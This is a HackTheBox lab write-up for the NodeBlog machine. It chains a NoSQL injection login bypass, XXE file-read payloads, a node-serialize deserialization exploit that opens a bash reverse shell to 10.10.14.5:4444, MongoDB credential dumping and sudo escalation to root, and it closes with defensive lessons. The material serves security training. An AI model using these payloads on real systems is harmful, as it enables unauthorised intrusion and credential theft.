HTB: NodeBlog Writeup
NodeBlog - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | NodeBlog |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 11th July 2023 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
NodeBlog is an Easy Linux machine that showcases a unique chain of vulnerabilities in a NodeJS-based blogging platform. The attack begins with a NoSQL injection bypass on the authentication endpoint, granting unauthenticated access to the admin panel. From there, an XXE (XML External Entity) vulnerability in the file upload feature allows arbitrary file read, exposing the application source code. Analysis of the leaked code reveals a critical deserialization vulnerability in the cookie authentication mechanism using node-serialize, which can be exploited for remote code execution. Once on the system, enumerating the locally running MongoDB instance yields database credentials, leading to privilege escalation via sudo privileges.
TL;DR: NoSQL Injection → XXE LFI → node-serialize RCE → MongoDB Enumeration → Sudo Privilege Escalation
Reconnaissance
Port Scanning
# Initial scan to identify open portsnmap -p- --min-rate=1000 -T4 10.10.11.139
# Detailed enumeration of discovered portsnmap -p22,5000 -sC -sV 10.10.11.139Results:
- Port 22/TCP: OpenSSH (default configuration)
- Port 5000/TCP: Node.js Express web application (NodeBlog)
Service Enumeration
HTTP (Port 5000):
Browsing to http://10.10.11.139:5000 reveals a basic blog application with:
- Home page displaying blog articles
- “Read More” functionality for individual posts
- Login form for authenticated access
- Upload feature (visible only after authentication)
Vulnerability Assessment
- NoSQL Injection on login endpoint — accepts JSON payloads with MongoDB operators
- XXE Injection on file upload endpoint — parses XML without proper entity restrictions
- Unsafe Deserialization in cookie handling — uses
node-serializewithout validation - Exposed MongoDB instance — running on default port without authentication
Initial Foothold
Stage 1: NoSQL Injection Authentication Bypass
The login form initially appears vulnerable to standard SQL injection, but testing reveals it’s a NoSQL backend (MongoDB). We capture a login request in BurpSuite:
POST /login HTTP/1.1Host: 10.10.11.139:5000Content-Type: application/x-www-form-urlencoded
user=admin&password=adminChanging the Content-Type header to application/json and modifying the payload to use MongoDB operators:
POST /login HTTP/1.1Host: 10.10.11.139:5000Content-Type: application/jsonContent-Length: 47
{"user": "admin", "password": {"$ne": "admin"}}The $ne (not equal) operator causes the database query to return a user record where the password is not “admin”, effectively bypassing authentication. The response includes a valid authentication cookie:
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}We forward this request and receive a valid session, granting access to the admin panel with the Upload feature now visible.
Stage 2: XXE Injection for File Read
The Upload feature expects XML files in a specific format. We craft a basic valid XML first:
<post> <title>Test Post</title> <description>Test Description</description> <markdown>Test Content</markdown></post>After confirming the upload works, we exploit the XML parser with an XXE payload to read /etc/passwd:
<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]><post> <title>LFI Post</title> <description>Read File</description> <markdown>&file;</markdown></post>The server processes the entity declaration and includes /etc/passwd contents in the response, confirming XXE vulnerability. We use this to extract the application source code:
<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "file:///opt/blog/server.js">]><post> <title>Source Code</title> <description>Leak Source</description> <markdown>&file;</markdown></post>This reveals critical code:
const serialize = require('node-serialize')const crypto = require('crypto')const cookie_secret = "UHC-SecretCookie"
function authenticated(c) { if (typeof c == 'undefined') return false
c = serialize.unserialize(c) // VULNERABLE: Unsafe deserialization
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){ return true } else { return false }}Stage 3: node-serialize Deserialization RCE
The serialize.unserialize() function is vulnerable to arbitrary code execution when processing malicious serialized objects. We craft a JavaScript payload that uses an Immediately Invoked Function Expression (IIFE):
var y = { rce : function(){ require('child_process').exec('bash -i >& /dev/tcp/10.10.14.5/4444 0>&1', function(error, stdout, stderr) { console.log(stdout) }); },}var serialize = require('node-serialize');console.log("Serialized: \n" + serialize.serialize(y));Generate the serialized payload:
# Install node-serialize if not already presentnpm install node-serialize
# Generate serialized objectnode payload.jsOutput:
{"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('bash -i >& /dev/tcp/10.10.14.5/4444 0>&1', function(error, stdout, stderr) { console.log(stdout) });\n }"}URL-encode the serialized object and set it as the auth cookie:
# URL encode the JSON (use browser dev tools or online encoder)# Example encoded value: %7B%22rce%22%3A%22_%24%24ND_FUNC...Set up a Netcat listener on the attacker machine:
nc -nlvp 4444Intercept a request in BurpSuite and replace the auth cookie with the malicious serialized object. Submit the request and receive a reverse shell:
# Connection received as 'admin' useriduid=1000(admin) gid=1000(admin) groups=1000(admin)
# Check home directory permissionsls -la /home/ | grep admin# Note: Directory permissions may be restricted initially
# Grant access to home directorychmod +x /home/admincat /home/admin/user.txtPrivilege Escalation
MongoDB Enumeration
While enumerating the system, we discover MongoDB running on the default port:
# Check running servicesps auxww | grep mongo
# Verify MongoDB listeningss -tlpn | grep 27017Connect to the local MongoDB instance:
mongoList available databases:
show dbs# Output includes 'blog' databaseAccess the blog database and enumerate collections:
use blogshow collections# Output: articles, usersDump the users collection to retrieve credentials:
db.users.find()# Output:# { "_id" : ObjectId("..."), "user" : "admin", "password" : "IppsecSaysPleaseSubscribe" }Privilege Escalation via Sudo
With the password discovered, check sudo privileges:
sudo -l# Output: User admin may run ALL COMMANDS as (ALL) NOPASSWD: ALLThe admin user has unrestricted sudo access. Escalate to root:
sudo su
# Now running as rootid# uid=0(root) gid=0(root) groups=0(root)
# Read the root flagcat /root/root.txtAttack Chain Summary
NoSQL Injection (Bypass Auth) ↓Authenticate as Admin ↓XXE Injection (Read server.js) ↓Identify node-serialize Vulnerability ↓Craft Malicious Serialized Object ↓RCE via Unsafe Deserialization ↓Reverse Shell as admin User ↓MongoDB Enumeration (Extract Credentials) ↓Sudo Privilege Escalation ↓Root Access & Flag CaptureTools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service enumeration |
curl/Browser | HTTP requests and application interaction |
BurpSuite | Request interception and payload manipulation |
tcpdump | ICMP verification for code execution testing |
nc (netcat) | Reverse shell listener |
mongo | MongoDB database access and enumeration |
node.js | Payload serialization using node-serialize |
Key Learnings
Techniques Practiced
- NoSQL Injection: Using MongoDB operators (
$ne,$gt, etc.) to bypass authentication logic - XXE (XML External Entity) Attacks: Exploiting XML parsers to perform local file inclusion
- Unsafe Deserialization: Exploiting
node-serializeto achieve RCE through function injection - JavaScript IIFE: Immediate Invocation Function Expression for code execution
- URL Encoding: Proper encoding of special characters in HTTP payloads
- MongoDB Basics: Database enumeration, collection access, and credential extraction
- Sudo Privilege Escalation: Leveraging unrestricted sudo privileges for root access
Lessons Learned
-
Never trust user input — NoSQL databases require proper parameterization and validation, just like SQL databases. The same security principles apply.
-
Disable XXE by default — Always configure XML parsers with entity processing disabled. Use libraries that disable external entity resolution by default.
-
Never use
unserialize()on untrusted data — Thenode-serializelibrary is inherently unsafe. Avoid deserializing untrusted data; use JSON for data exchange instead. -
Defense in depth — A single vulnerability (NoSQL injection) granted access, but the subsequent XXE and deserialization vulnerabilities were needed for RCE. Multiple controls should prevent privilege escalation.
-
Credential exposure is critical — Even after gaining code execution as a low-privilege user, accessing unprotected databases (MongoDB without auth) enabled privilege escalation.
-
Audit MongoDB permissions — Ensure MongoDB instances require authentication and run with restricted network access. This single instance compromised the entire system.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>